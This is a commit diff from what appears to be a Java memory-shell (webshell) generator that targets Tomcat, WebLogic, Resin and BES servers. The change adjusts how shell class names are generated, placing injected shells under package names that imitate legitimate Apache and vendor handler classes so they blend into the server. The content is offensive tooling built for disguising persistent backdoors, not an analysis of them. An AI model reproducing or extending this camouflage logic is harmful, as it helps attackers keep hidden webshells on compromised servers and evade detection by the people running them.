fix: tomcat filter shell not work

tomcat filter shell classname startsWith org.apache.catalina.web.handlers will not work

generator/src/main/java/com/reajason/javaweb/memshell/config/ShellToolConfig.java

@@ -24,6 +24,5 @@ public class ShellToolConfig {
     /**
      * shellClass 的类名
      */
-    @Builder.Default
-    private String shellClassName = CommonUtil.generateShellClassName();
+    private String shellClassName;
 }

generator/src/main/java/com/reajason/javaweb/memshell/utils/CommonUtil.java

@@ -76,12 +76,10 @@ public class CommonUtil {
             case WebLogic -> "weblogic.servlet.internal.handlers";
             case Resin -> "com.caucho.server.dispatch.handlers";
             case BES -> "com.bes.enterprise.webtier.web.handlers";
-            default -> "org.apache.catalina.web.handlers";
+            default -> "org.apache.http.web.handlers";
         };
         return packageName
-                + "." + getRandomString(1)
-                + "." + getRandomString(1)
-                + "." + getRandomString(1)
+                + "." + getRandomString(5)
                 + "." + MIDDLEWARE_NAMES[new Random().nextInt(MIDDLEWARE_NAMES.length)] + shellType;
     }
 }